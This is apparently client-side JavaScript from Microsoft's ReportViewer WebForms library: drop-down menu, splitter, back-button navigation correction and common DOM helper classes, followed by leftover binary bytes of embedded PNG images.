            this._selectMenuItem(this._menuItemElements[0])
        }
        Sys.UI.DomElement.setVisible(this._menu, false)
        this._ButtonImages = this._loadImages(this.ButtonImages);
        this._ArrowImages = this._loadImages(this.ArrowImages);
    },

    dispose: function()
    {
        $clearHandlers(this._button);
        $clearHandlers(this._buttonLink);
        $clearHandlers(this._menu);
        for (var index = 0; index < this._menuItemElements.length; index++)
        {
            $clearHandlers(this._menuItemElements[index]);
        }
        delete this._hideMenuDelegate;
        delete this._keyDownDelegate;

        this._button = null;
        this._buttonLink = null;
        this._menu = null;
        this._adorner = null;
        this._menuItemElements = null;
        this._selectedItem = null;
        this._ButtonImages = null;
        this._ArrowImages = null;

        Microsoft.Reporting.WebFormsClient._DropDownMenu.callBaseMethod(this, 'dispose');
    },

    set_NormalStyles: function(value) { this._normalStyles = value; },
    get_NormalStyles: function() { return this._normalStyles; },

    set_HoverStyles: function(value) { this._hoverStyles = value; },
    get_HoverStyles: function() { return this._hoverStyles; },

    _loadImages: function(imagesInfo)
    {
        var images = Sys.Serialization.JavaScriptSerializer.deserialize(imagesInfo)
        images._Enabled = document.createElement("img")
        images._Enabled.src = images.EnabledUrl;
        images._Disabled = document.createElement("img")
        images._Disabled.src = images.DisabledUrl;
        return images;
    },

    get_Enabled: function()
    {
        return this._Enabled;
    },

    set_Enabled: function(value)
    {
        if (this._ButtonImages)
        {
            if (value)
            {
                $get(this.ButtonId + "Img").src = this._ButtonImages.EnabledUrl;
                $get(this.ButtonId + "ImgDown").src = this._ArrowImages.EnabledUrl;
            }
            else
            {
                $get(this.ButtonId + "Img").src = this._ButtonImages.DisabledUrl;
                $get(this.ButtonId + "ImgDown").src = this._ArrowImages.DisabledUrl;
            }
            // property disabled of type boolean is defined in W3C DOM Level 1
            this._buttonLink.disabled = !(value == true);
            this._buttonLink.style.cursor = this._buttonLink.disabled ? "default" : "pointer";
            this._hideMenu(null);
            this._Enabled = value;
            this.raisePropertyChanged('Enabled');
        }
        else
        {
            this._Enabled = value;
        }
    },

    SetActive: function(value)
    {
        this.set_Enabled(value);
    },
    /// Open menu button handlers
    _onButtonMouseOver: function(e)
    {
        if (this._Enabled)
        {
            _$RVCommon.setButtonStyle(this._button.parentNode, this._hoverStyles, "pointer");
            e.preventDefault();
        }
    },

    _onButtonMouseOut: function(e)
    {
        if (Sys.UI.DomElement.getVisible(this._menu)) return;
        _$RVCommon.setButtonStyle(this._button.parentNode, this._normalStyles, "default");
        e.preventDefault();
    },

    _onButtonClick: function(e)
    {
        if (this._Enabled)
            this._showMenu(true);

        e.preventDefault();
    },
    _onButtonKeyDown: function(e)
    {
        if (e.keyCode == Sys.UI.Key.space)
        {
            this._onButtonClick(e);
            e.preventDefault();
        }
    },

    // Menu utility and events
    _isMenuVisible: function()
    {
        return this._menu && Sys.UI.DomElement.getVisible(this._menu)
    },

    _showMenu: function()
    {
        if (!this._isMenuVisible())
        {
            Sys.UI.DomElement.setVisible(this._menu, true);
            this._adorner.style.height = this._menu.clientHeight + "px";
            if (this._isRTL())
            {
                this._adorner.style.left = (this._menu.clientWidth - 24) + "px"
            }

            this._ensureIsOnScreen(this._menu, this._button);

            this._selectMenuItem(this._menuItemElements[0])
            $addHandler(document, "mousedown", this._hideMenuDelegate);
            $addHandler(document, "keydown", this._keyDownDelegate);
        }
    },

    _ensureIsOnScreen: function(element, anchor)
    {
        // make sure any previous value gets cleared, as
        // it's possible to exit this method not wanting to make any adjustments
        element.style.left = "";
        element.style.right = "";

        var elementDims = _$RVCommon.getBounds(element);
        var anchorDims = _$RVCommon.getBounds(anchor);

        // how far over from the left edge of the physical window is the anchor
        // in both RTL and LTR mode, this method always measures from left side of window to left edge of element    
        var anchorWindowOffsetLeft = anchor.getBoundingClientRect().left;

        if (this._isRTL())
        {
            // if the space between the left edge of the window and the anchor
            // is less than the size of the element
            if (anchorWindowOffsetLeft < elementDims.width)
            {
                // then nudge it to the right
                // style.left is ignored in RTL mode
                element.style.right = (anchorWindowOffsetLeft - elementDims.width + anchorDims.width) + "px";
            }
        }
        else // in LTR mode
        {
            var winDims = _$RVCommon.windowRect();
            var outerEdge = anchorWindowOffsetLeft + elementDims.width;

            // if the right side of this element is beyond the right side of the window
            if (outerEdge > winDims.clientWidth)
            {
                // nudge it back to the left to fix it
                element.style.left = (winDims.clientWidth - outerEdge) + "px";
            }
        }
    },

    _hideMenu: function(e)
    {
        if (this._isMenuVisible() && (e == null || e.target != this._selectedItem))
        {
            Sys.UI.DomElement.setVisible(this._menu, false);
            $removeHandler(document, "mousedown", this._hideMenuDelegate);
            $removeHandler(document, "keydown", this._keyDownDelegate);
            // takes the button in normal visual state
            _$RVCommon.setButtonStyle(this._button.parentNode, this._normalStyles, "default");
        }
    },

    _onMenuKeyDown: function(e)
    {
        var index = Array.indexOf(this._menuItemElements, this._selectedItem)
        if (index != -1)
        {
            if (e.keyCode == Sys.UI.Key.down || e.keyCode == Sys.UI.Key.left || e.keyCode == Sys.UI.Key.tab)
            {
                index = (index < this._menuItemElements.length - 1) ? index + 1 : 0;
                this._selectMenuItem(this._menuItemElements[index])
            }
            else if (e.keyCode == Sys.UI.Key.up || e.keyCode == Sys.UI.Key.right)
            {
                index = (index > 0) ? index - 1 : this._menuItemElements.length - 1;
                this._selectMenuItem(this._menuItemElements[index])
            }
            else if (e.keyCode == Sys.UI.Key.esc)
            {
                this._hideMenu();
            }
            else if (e.keyCode == Sys.UI.Key.enter)
            {
                this._menuItemElements[index].click();
            }
        }
        e.preventDefault();
    },

    // Menu item utility and avents
    _onMenuItemClick: function()
    {
        this._hideMenu(null);
    },

    _onMenuItemMouseOver: function(e)
    {
        if (e.target && e.target.tagName && e.target.tagName.toUpperCase() == "A")
        {
            this._selectMenuItem(e.target);
        }
        e.preventDefault();
    },

    _selectMenuItem: function(element)
    {
        if (this._selectedItem == element)
        {
            return;
        }
        this._selectedItem = null;
        if (element)
        {
            _$RVCommon.setButtonStyle(element.parentNode, this._hoverStyles, "pointer");
            element._selected = true;
            if (element.style.display !== "none") {
                try { element.focus(); } catch (exception) { } 
            }            
            this._selectedItem = element;
        }
        // unselect all other menu items.
        for (var index = 0; index < this._menuItemElements.length; index++)
        {
            if (this._menuItemElements[index] != element &&
                 (this._menuItemElements[index]._selected || typeof (this._menuItemElements[index]._selected) == "undefined")
                )
            {
                _$RVCommon.setButtonStyle(this._menuItemElements[index].parentNode, this._normalStyles, "default");
                this._menuItemElements[index]._selected = false;
            }
        }
    },

    _isRTL: function()
    {
        var element = this.get_element();
        if (Microsoft.Reporting.WebFormsClient._InternalReportViewer.GetRTLDirection)
        {
            return Microsoft.Reporting.WebFormsClient._InternalReportViewer.GetRTLDirection(element) == 'rtl';
        }
        return false;
    }
}

Microsoft.Reporting.WebFormsClient._DropDownMenu.registerClass('Microsoft.Reporting.WebFormsClient._DropDownMenu', Sys.UI.Control);
.+Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._Splitter = function(element)
{
    Microsoft.Reporting.WebFormsClient._Splitter.initializeBase(this, [element]);
    this.Vertical = true;
    this.Resizable = true;
    this.NormalStyle = null;
    this.HoverStyle = null;
    this.NormalColor = null;
    this.HoverColor = null;
    this.StorePositionField = null;
    this.StoreCollapseField = null;
    this.ImageId = null;
    this.ImageCollapse = null;
    this.ImageCollapseHover = null;
    this.ImageExpand = null;
    this.ImageExpandHover = null;
    this.Enabled = true;

    this._updating = false;
    this._image = null;
    this._StorePositionField = null;
    this._StoreCollapseField = null;
    this._onMouseMoveDelegate = null;
    this._onMouseUpDelegate = null;
    this._onSelectStartDelegate = null;
    this.IsCollapsable = true;
}

Microsoft.Reporting.WebFormsClient._Splitter.prototype = {

    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._Splitter.callBaseMethod(this, 'initialize');

        this._image = $get(this.ImageId);
        this._StorePositionField = $get(this.StorePositionField);
        this._StoreCollapseField = $get(this.StoreCollapseField);

        this._onMouseMoveDelegate = Function.createDelegate(this, this._onMouseMove);
        this._onMouseUpDelegate = Function.createDelegate(this, this._onMouseUp);
        this._onSelectStartDelegate = Function.createDelegate(this, this._onSelectStart);

        $addHandlers(this.get_element().parentNode, {
            "mouseover": this._onMouseOver,
            "focus": this._onMouseOver,
            "mouseout": this._onMouseOut,
            "mousedown": this._onMouseDown,
            "click": this._onClick
        },
                this
        );

        $addHandlers(this._image, {
            "click": this._onImageClick,
            "mouseover": this._onImageMouseOver,
            "focus": this._onImageMouseOver,
            "mouseout": this._onImageMouseOut
        },
            this
        );
    },

    dispose: function()
    {
        $clearHandlers(this.get_element().parentNode);
        $clearHandlers(this._image);

        delete this._onMouseMoveDelegate;
        delete this._onMouseUpDelegate;
        delete this._onSelectStartDelegate;

        this._image = null;
        this._StorePositionField = null;
        this._StoreCollapseField = null;

        Microsoft.Reporting.WebFormsClient._Splitter.callBaseMethod(this, 'dispose');
    },


    SetActive: function(active)
    {
        this.Enabled = active;
    },

    _setStyle: function(className, color, cursor)
    {
        var element = this.get_element();
        var elementForStyles = element.parentNode;

        elementForStyles.style.cursor = cursor;
        if (className)
        {
            elementForStyles.className = className;
        }
        else
        {
            elementForStyles.style.backgroundColor = color;
        }
    },

    _setImage: function(hovering)
    {
        var collapsed = this._getCollapsed();
        var imgsrc = null;
        if (hovering)
        {
            imgsrc = collapsed ? this.ImageExpandHover : this.ImageCollapseHover;
        }
        else
        {
            imgsrc = collapsed ? this.ImageExpand : this.ImageCollapse;
        }

        this._image.src = imgsrc;
    },

    _onImageClick: function(e)
    {
        if (this.Enabled)
            this.raiseCollapsing(!this._getCollapsed());
        e.preventDefault();
        e.stopPropagation(); // Don't let image and splitter both handle the event
    },

    _onClick: function(e)
    {
        if ((!this.Resizable || this._getCollapsed()) && this.Enabled)
            this.raiseCollapsing(!this._getCollapsed());
        e.preventDefault();
        e.stopPropagation(); // Don't let image and splitter both handle the event
    },

    _setCollapsed: function(value)
    {
        this._StoreCollapseField.value = value ? "true" : "false";
        this._setImage(false);
    },

    _getCollapsed: function()
    {
        return this._StoreCollapseField.value == "true";
    },

    _getCollapsable: function()
    {
        return this.IsCollapsable;
    },

    _setSize: function(value)
    {
        this._StorePositionField.value = value.toString();
    },

    _getSize: function()
    {
        return parseInt(this._StorePositionField.value);
    },

    _onSelectStart: function(e)
    {
        e.preventDefault();
        return false;
    },

    _onMouseOut: function(e)
    {
        this._setStyle(this.NormalStyle, this.NormalColor, "default");
        this._setImage(false);
        e.preventDefault();
        return false;
    },

    _onMouseOver: function(e)
    {
        if (this.Enabled)
        {
            if (!this.Resizable || this._getCollapsed())
            {
                this._setStyle(this.HoverStyle, this.HoverColor, "pointer");
                this._setImage(true);
            }
            else
            {
                var cursor = this.Vertical ? "w-resize" : "n-resize";
                this._setStyle(this.NormalStyle, this.NormalColor, cursor);
            }
        }
        e.preventDefault();
        e.stopPropagation();
        return false;
    },

    _onMouseDown: function(e)
    {
        if (this.Resizable)
        {
            this._lastPosition = { X: e.clientX, Y: e.clientY };
            var t = this._getMouseObjects();
            $addHandler(t.target, 'mousemove', this._onMouseMoveDelegate);
            $addHandler(t.target, 'mouseup', this._onMouseUpDelegate);
            $addHandler(t.target, 'selectstart', this._onSelectStartDelegate);
            if (t.isIE)
                t.target.setCapture();
        }
    },

    _onMouseUp: function(e)
    {
        if (this.Resizable)
        {
            var t = this._getMouseObjects();
            $removeHandler(t.target, 'mousemove', this._onMouseMoveDelegate);
            $removeHandler(t.target, 'mouseup', this._onMouseUpDelegate);
            $removeHandler(t.target, 'selectstart', this._onSelectStartDelegate);
            if (t.isIE)
                t.target.releaseCapture();
        }
    },

    _onImageMouseOver: function(e)
    {
        if (this.Enabled)
        {
            this._setStyle(this.HoverStyle, this.HoverColor, "pointer");
            this._setImage(true);
        }

        e.preventDefault();
        e.stopPropagation();
        return false;
    },

    _onImageMouseOut: function(e)
    {
        this._setStyle(this.NormalStyle, this.NormalColor, "default");
        this._setImage(false);

        e.preventDefault();
        return false;
    },

    _getMouseObjects: function()
    {
        if (!this._mouseTrackingObject)
        {
            this._mouseTrackingObject =
            {
                isIE: Sys.Browser.agent == Sys.Browser.InternetExplorer,
                target: Sys.Browser.agent == Sys.Browser.InternetExplorer ? document.body : _$RVCommon.getWindow()
            }
        }
        return this._mouseTrackingObject;
    },

    _onMouseMove: function(e)
    {
        var newPosition = { X: e.clientX, Y: e.clientY };
        if (this.Resizable && !this._getCollapsed() && this.Enabled)
        {
            var delta = 0;
            if (this.Vertical)
                delta = (newPosition.X - this._lastPosition.X) * (this._isRTL() ? -1 : 1);
            else
                delta = (newPosition.Y - this._lastPosition.Y);

            this.raiseResizing(delta);

            this._lastPosition = newPosition;
        }
    },
    _isRTL: function()
    {
        var element = this.get_element();
        if (Microsoft.Reporting.WebFormsClient._InternalReportViewer.GetRTLDirection)
        {
            return Microsoft.Reporting.WebFormsClient._InternalReportViewer.GetRTLDirection(element) == 'rtl';
        }
        return false;
    },
    add_resizing: function(handler)
    {
        this.get_events().addHandler('resizing', handler);
    },
    remove_resizing: function(handler)
    {
        this.get_events().removeHandler('resizing', handler);
    },
    raiseResizing: function(delta)
    {
        var onResizingHandler = this.get_events().getHandler('resizing');
        if (onResizingHandler)
        {
            var args = new Microsoft.Reporting.WebFormsClient._SplitterResizeEventArgs();
            args.set_delta(delta);
            onResizingHandler(this, args);
            if (args.get_size() != 0)
            {
                this._setSize(args.get_size());
            }
        }
    },
    add_collapsing: function(handler)
    {
        this.get_events().addHandler('collapsing', handler);
    },
    remove_collapsing: function(handler)
    {
        this.get_events().removeHandler('collapsing', handler);
    },
    raiseCollapsing: function(collapse)
    {
        var onCollapsingHandler = this.get_events().getHandler('collapsing');
        if (onCollapsingHandler)
        {
            var args = new Microsoft.Reporting.WebFormsClient._SplitterCollapseEventArgs();
            args.set_collapse(collapse);
            onCollapsingHandler(this, args);
            this._setCollapsed(args.get_collapse());
        }
    }
}

Microsoft.Reporting.WebFormsClient._Splitter.registerClass('Microsoft.Reporting.WebFormsClient._Splitter', Sys.UI.Control);


Microsoft.Reporting.WebFormsClient._SplitterResizeEventArgs = function () {
    Microsoft.Reporting.WebFormsClient._SplitterResizeEventArgs.initializeBase(this);
    this._delta = 0;
    this._size  = 0;
}

Microsoft.Reporting.WebFormsClient._SplitterResizeEventArgs.prototype = {
    get_delta: function()
    {
        return this._delta;
    },
    set_delta: function(value)
    {
        this._delta = value;
    },
    get_size: function()
    {
        return this._size;
    },
    set_size: function(value)
    {
        this._size = value;
    }
}
Microsoft.Reporting.WebFormsClient._SplitterResizeEventArgs.registerClass('Microsoft.Reporting.WebFormsClient._SplitterResizeEventArgs', Sys.EventArgs);

Microsoft.Reporting.WebFormsClient._SplitterCollapseEventArgs = function () {
    Microsoft.Reporting.WebFormsClient._SplitterCollapseEventArgs.initializeBase(this);
    this._collapse = false;
}

Microsoft.Reporting.WebFormsClient._SplitterCollapseEventArgs.prototype = {
    get_collapse: function()
    {
        return this._collapse;
    },
    set_collapse: function(value)
    {
        this._collapse = value;
    }
}

Microsoft.Reporting.WebFormsClient._SplitterCollapseEventArgs.registerClass('Microsoft.Reporting.WebFormsClient._SplitterCollapseEventArgs', Sys.EventArgs);.!Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector = function(element)
{
    Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector.initializeBase(this, [element]);
    
    // Constants
    this._PageStateLoaded = "Loaded";
    this._PageStateNeedsCorrection = "NeedsCorrection";
    
    this.HiddenScrollPositionId = null;
    this.HiddenViewStateId = null;
    this.HiddenNewViewStateId = null;
    this.ReportViewerId = null;
    this.PageStateId = null;
    this.TriggerPostBack = null;

    this.m_needHookViewerEvents = true;
    this.m_shouldApplyStoredScrollPosition = false;

    this.m_onAppLoadDelegate = Function.createDelegate(this, this.OnAppLoad);
    this.m_onAsyncPostBackLoadingDelegate = Function.createDelegate(this, this.OnAsyncPostBackLoading);
    this.m_onAsyncPostBackEndedDelegate = Function.createDelegate(this, this.OnAsyncPostBackEnded);
    this.m_onViewerDisposingDelegate = Function.createDelegate(this, this.OnViewerDisposing);
    this.m_onViewerScrollChangeDelegate = Function.createDelegate(this, this.OnReportViewerScrollChange);
    this.m_onViewerLoadingChangeDelegate = Function.createDelegate(this, this.OnViewerLoadingChange);
}

Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector.callBaseMethod(this, "initialize");

        Sys.Application.add_load(this.m_onAppLoadDelegate);

        var pageRequestManager = Sys.WebForms.PageRequestManager.getInstance();
        pageRequestManager.add_endRequest(this.m_onAsyncPostBackEndedDelegate);        

        // Using Loading instead of beginRequest so that leaving while an async postback is in
        // progress causes this class to recognize that the back button OnAppLoad call is one
        // that needs correction.  PageLoading happens after receiving the async postback response.
        pageRequestManager.add_pageLoading(this.m_onAsyncPostBackLoadingDelegate);
    },
    
    dispose : function()
    {
        Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector.callBaseMethod(this, "dispose");

        if (this.m_onAppLoadDelegate != null)
        {
            Sys.Application.remove_load(this.m_onAppLoadDelegate);
            delete this.m_onAppLoadDelegate;
            this.m_onAppLoadDelegate = null;
        }

        if (this.m_onAsyncPostBackEndedDelegate != null)
        {
            var pageRequestManager = Sys.WebForms.PageRequestManager.getInstance();
            pageRequestManager.remove_beginRequest(this.m_onAsyncPostBackLoadingDelegate);
            pageRequestManager.remove_endRequest(this.m_onAsyncPostBackEndedDelegate);

            delete this.m_onAsyncPostBackEndedDelegate;
            this.m_onAsyncPostBackEndedDelegate = null;
            
            delete this.m_onAsyncPostBackLoadingDelegate;
            this.m_onAsyncPostBackLoadingDelegate = null;
        }

        delete this.m_onViewerDisposingDelegate;
        this.m_onViewerDisposingDelegate = null;
        
        delete this.m_onViewerScrollChangeDelegate;
        this.m_onViewerScrollChangeDelegate = null;
        
        delete this.m_onViewerLoadingChangeDelegate;
        this.m_onViewerLoadingChangeDelegate = null;        
    },
    
    OnAppLoad : function()
    {
        var newPageState = this._PageStateLoaded;
        var shouldPerformPostCorrectionOperations = false;
        
        // If the page is already loaded during the Application.Load event, this is a
        // browser back/forward button navigation.
        var pageStateField = $get(this.PageStateId);
        if (pageStateField.value === this._PageStateLoaded)
        {
            // No reason to postback if we don't have updated view state to load
            // (i.e. last postback was synchronous)
            var hiddenViewState = $get(this.HiddenViewStateId).value;
            if (hiddenViewState.length > 0)
            {
                newPageState = this._PageStateNeedsCorrection;
                setTimeout(this.TriggerPostBack, 0);
            }
            else
            {
                // Even though we don't need to post back to correct the page,
                // there may still be other things to fix up, like scroll position.
                shouldPerformPostCorrectionOperations = true;
            }
        }
        else if (pageStateField.value === this._PageStateNeedsCorrection)
        {
            // After loading a needs correction update, do post correction things
            shouldPerformPostCorrectionOperations = true;
        }
        
        if (shouldPerformPostCorrectionOperations)
            this.m_shouldApplyStoredScrollPosition = true;

        if (this.m_needHookViewerEvents)
        {
            var reportViewer = $find(this.ReportViewerId);
            
            // Hook disposing in case the viewer itself is in an UpdatePanel
            reportViewer.add_disposing(this.m_onViewerDisposingDelegate);

            reportViewer.add_propertyChanged(this.m_onViewerScrollChangeDelegate);
            reportViewer.add_propertyChanged(this.m_onViewerLoadingChangeDelegate);
            
            this.m_needHookViewerEvents = false;
        }

        pageStateField.value = newPageState;
    },
    
    OnAsyncPostBackEnded : function()
    {
        // When an async postback completes, save the view state in a persisted
        // hidden field (one that is outside an UpdatePanel).
        var newViewState = $get(this.HiddenNewViewStateId);
        var viewStateStore = $get(this.HiddenViewStateId);
        viewStateStore.value = newViewState.value;
    },
    
    OnViewerLoadingChange : function(sender, e)
    {
        var viewer = $find(this.ReportViewerId);
        
        // Once the report area is loaded with a report page again, apply the scroll position
	    if (this.m_shouldApplyStoredScrollPosition &&
	        !viewer.get_isLoading() &&
	        viewer.get_reportAreaContentType() == Microsoft.Reporting.WebFormsClient.ReportAreaContent.ReportPage &&
	        e.get_propertyName() == "isLoading")
        {
            // If we have a previously stored scroll position, apply it
		    var scrollPosition = $get(this.HiddenScrollPositionId).value;
		    if (scrollPosition.length > 0)
		    {
		        var values = scrollPosition.split(" ");
			    var point = new Sys.UI.Point(parseInt(values[0]), parseInt(values[1]));
			    viewer.set_reportAreaScrollPosition(point);
		    }

            // Scroll position is applied.  No need to do it again.            
            this.m_shouldApplyStoredScrollPosition = false;
        }
    },
    
    OnReportViewerScrollChange : function(sender, e)
    {
        var viewer = $find(this.ReportViewerId);
        
	    if (!viewer.get_isLoading() &&
	        viewer.get_reportAreaContentType() == Microsoft.Reporting.WebFormsClient.ReportAreaContent.ReportPage &&
	        e.get_propertyName() == "reportAreaScrollPosition")
        {
		    var point = viewer.get_reportAreaScrollPosition();
		    var store = $get(this.HiddenScrollPositionId);

		    store.value = point.x + " " + point.y;
        }
    },
    
    OnViewerDisposing : function()
    {
        this.m_needHookViewerEvents = true;
    },
    
    OnAsyncPostBackLoading : function()
    {
        // An async postback is the result of some report interaction.  When it completes, this
        // class shouldn't consider it a back/forward navigation.  So exit the "loaded" state.
	    var pageStateField = $get(this.PageStateId);
        if (pageStateField.value == this._PageStateLoaded)
        {
    	    pageStateField.value = "";
    	    
    	    // If we performed a correction but that did not result in the apply scroll position
    	    // flag being cleared, it is because no report was displayed as a result of the correction.
    	    // In that case, don't save any old scroll position for future report renderings.
    	    this.m_shouldApplyStoredScrollPosition = false;
        }
    }
}

Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector.registerClass("Microsoft.Reporting.WebFormsClient._BrowserNavigationCorrector", Sys.UI.Control);
)Type.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._Common = function()
{
    this.getStyleForElement = function(element)
    {
        var visibleStyle = element.currentStyle; //IE only
        if (!visibleStyle)
        {
            if (document.defaultView && document.defaultView.getComputedStyle) //Firefox only
                visibleStyle = document.defaultView.getComputedStyle(element, "");
            else
                visibleStyle = element.style;
        }

        return visibleStyle;
    },

    this.getComputedStyle = function(element, styleName)
    {
        // Retrieve the cascaded direction attribute/style.
        // The currentStyle property is supported by IE.
        // Other browsers (Firefox, Safari) must use the
        // getComputedStyle method.
        if (element.currentStyle != null)
        {
            // converts for ex. border-left-width in borderLeftWidth
            styleName = styleName.replace(/-\D/gi, function(s) { return s.charAt(s.length - 1).toUpperCase(); });
            return element.currentStyle[styleName];
        }
        else if (window.getComputedStyle != null)
        {
            var cs = window.getComputedStyle(element, null);
            return cs.getPropertyValue(styleName);
        }
        return null;
    },

    this.getPxPerInch = function()
    {
        if (!this.DPI)
        {
            this.DPI = Microsoft_ReportingServices_HTMLRenderer_PxPerInch();
        }
        return this.DPI;
    },

    this.convertToPx = function(value)
    {
        if (!value)
            return 0;
        var lowerValue = value.toString().toLowerCase();
        if (lowerValue.indexOf("pt") > -1)
        {
            return Math.ceil(parseInt(value) / 72 * this.getPxPerInch());
        }
        else if (lowerValue.indexOf("px") > -1)
        {
            return parseInt(value);
        }
        return 0;
    },

    this.windowRect = function()
    {
        var docElementWidth = document.documentElement && document.documentElement.clientWidth ? document.documentElement : document.body;
        var docElementScroll = document.documentElement && document.documentElement.scrollLeft ? document.documentElement : document.body;

        var windowWidth = window.innerWidth != null ? window.innerWidth : docElementWidth ? docElementWidth.clientWidth : 0;
        var windowHeight = window.innerHeight != null ? window.innerHeight : docElementWidth ? docElementWidth.clientHeight : 0;
        var windowLeft = typeof (window.pageXOffset) != 'undefined' ? window.pageXOffset : docElementScroll ? docElementScroll.scrollLeft : 0;
        var windowTop = typeof (window.pageYOffset) != 'undefined' ? window.pageYOffset : docElementScroll ? docElementScroll.scrollTop : 0;

        var windowScrollWidth = docElementScroll ? docElementScroll.scrollWidth : 0;
        var windowScrollHeight = docElementScroll ? docElementScroll.scrollHeight : 0;

        var isVScroll = Sys.Browser.agent == Sys.Browser.InternetExplorer ? false : windowHeight < windowScrollHeight;
        var isHScroll = Sys.Browser.agent == Sys.Browser.InternetExplorer ? false : windowWidth < windowScrollWidth;

        return {
            top: windowTop,
            left: windowLeft,
            bottom: windowTop + windowHeight - (isHScroll ? 18 : 0),
            right: windowLeft + windowWidth - (isVScroll ? 18 : 0),
            width: windowWidth,
            height: windowHeight,
            scrollWidth: Math.max(windowWidth, windowScrollWidth),
            scrollHeight: Math.max(windowHeight, windowScrollHeight),
            clientWidth: windowWidth - (isVScroll ? 18 : 0),
            clientHeight: windowHeight - (isHScroll ? 18 : 0)
        };
    },

    this.isQuirksMode = function()
    {
        // document.compatMode dom property now works for latest versions of safari/FF/IE.
        return document.compatMode == "BackCompat";
    },

    this.isSafari = function()
    {
        return Sys.Browser.agent == Sys.Browser.Safari;
    },

    this.isIEQuirksMode = function()
    {
        return Sys.Browser.agent == Sys.Browser.InternetExplorer && this.isQuirksMode();
    },

    this.isPreIE8StandardsMode = function()
    {
        if (Sys.Browser.agent != Sys.Browser.InternetExplorer)
            return false;

        if (Sys.Browser.version <= 7)
            return document.compatMode == "CSS1Compat";
        else
            return Sys.Browser.documentMode == 7; // See isIE8StandardMode for definition of documentMode
    },

    this.isIE8StandardsMode = function()
    {
        // documentMode is
        // 5 for quirks mode
        // 7 for IE7 standards mode
        // 8 for IE8 standards mode
        return Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version >= 8 && Sys.Browser.documentMode == 8;
    },

    this.getDocument = function(element)
    {
        if (element)
            return element.ownerDocument || element.document || element;
        return document;
    },

    this.getWindow = function(element)
    {
        var doc = this.getDocument(element);
        return doc.defaultView || doc.parentWindow;
    },

    this.setButtonStyle = function(element, style, cursor)
    {
        if (style.CssClass)
        {
            element.className = style.CssClass;
        }
        else
        {
            element.style.border = style.Border;
            if (Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version < 7)
            {
                if (element.style.borderColor.toLowerCase() == "transparent")
                {
                    element.style.padding = element.style.borderWidth;
                    element.style.border = "";
                }
                else
                    element.style.padding = "0px";
            }
            element.style.backgroundColor = style.Color;
            element.style.cursor = cursor;
        }
    },

    this.SetElementVisibility = function(element, makeVisible)
    {
        if (makeVisible)
            element.style.display = "";
        else
            element.style.display = "none";

    },

    this.documentOffset = function(element)
    {
        /// <summary>
        /// Returns the offset in pixels of the given element from the body
        /// </summary>

        if (!element || !element.ownerDocument)
        {
            throw Error.argumentNull("element");
        }

        var box = element.getBoundingClientRect();
        var doc = element.ownerDocument;
        var body = doc.body;
        var docElem = doc.documentElement;

        // docElem.clientTop = non IE, body.clientTop = IE
        var clientTop = docElem.clientTop || body.clientTop || 0;
        var clientLeft = docElem.clientLeft || body.clientLeft || 0;

        // pageX/YOffset = FF, safari   docElem.scrollTop/Left = IE standards   body.scrollTop/Left = IE quirks
        var top = box.top + (self.pageYOffset || docElem.scrollTop || body.scrollTop || 0) - clientTop;
        var left = box.left + (self.pageXOffset || docElem.scrollLeft || body.scrollLeft || 0) - clientLeft;

        return { top: top, left: left };
    },

    this.getBounds = function(element)
    {
        /// <summary>
        /// Returns the overall dimensions of an element: top and left offsets from the body,
        /// as well as the width and height of the element
        /// </summary>

        if (element == null)
        {
            throw Error.argumentNull("element");
        }

        var width = Math.max(this.getFloat(this.getComputedStyle(element, "width")), element.clientWidth);
        width += this.getFloat(element.style.marginLeft) + this.getFloat(element.style.marginRight);
        width += this.getFloat(element.style.borderLeftWidth) / 2.0 + this.getFloat(element.style.borderRightWidth) / 2.0;

        var height = Math.max(this.getFloat(this.getComputedStyle(element, "height")), element.clientHeight);
        height += this.getFloat(element.style.marginTop) + this.getFloat(element.style.marginBottom);
        height += this.getFloat(element.style.borderBottomWidth) / 2.0 + this.getFloat(element.style.borderTopWidth) / 2.0;

        var offset = this.documentOffset(element);

        return { left: offset.left, top: offset.top, width: Math.round(width), height: Math.round(height), right: offset.left + Math.round(width), bottom: offset.top + Math.round(height) };
    },

    this.getFloat = function(value)
    {
        /// <summary>
        /// Attempts to parse the incoming value into a float.
        /// If it can't, returns zero.
        /// </summary>

        var parsed = parseFloat(value);

        if (isNaN(parsed))
        {
            return 0;
        }

        return parsed;
    },

    this.getInt = function(value)
    {
        /// <summary>
        /// Attempts to parse the incoming value into an int.
        /// If it can't, returns zero.
        /// </summary>

        var parsed = parseInt(value);

        if (isNaN(parsed))
        {
            return 0;
        }

        return parsed;
    },

    // Based on Sys.UI.DomElement.getElementById, but without the array shifting and with some
    // optimizations knowing that the id is a postback target
    this.getPostBackTargetElementById = function(id, element)
    {
        if (!element)
            return document.getElementById(id);
        if (element.getElementById)
            return element.getElementById(id);

        var nodeQueue = [element];
        var frontIndex = 0;

        while (frontIndex < nodeQueue.length)
        {
            node = nodeQueue[frontIndex++];
            if (node.id == id)
            {
                return node;
            }

            // The postback target can't be an option in a select, so no need to enumerate them all
            if (node.tagName != "SELECT")
            {
                var childNodes = node.childNodes;
                for (i = 0; i < childNodes.length; i++)
                {
                    node = childNodes[i];
                    if (node.nodeType == 1)
                    {
                        nodeQueue.push(node);
                    }
                }
            }
        }
        return null;
    }
}

var _$RVCommon = new Microsoft.Reporting.WebFormsClient._Common();
OPNG


IHDR
"gAMA7tEXtSoftwareAdobe ImageReadyqe<PLTED&IDATxLrPDB
a&33z:βqFʀlNc4
\WEU8⸪bBt8"rR,K\7-(>
Q,iBN$r$*[ P;~tp\ǹi5Ù5[Z>Oe0nNip-e|ץ:m$KuFyu=J/C(juA[?^0u`IENDB`PNG


IHDR
:=gAMA7tEXtSoftwareAdobe ImageReadyqe<BPLTEܾܽ۱~ƢDIDATx
@C
\"ZY|05'ę8in|,nzhjZI-U1eRIENDB`PNG


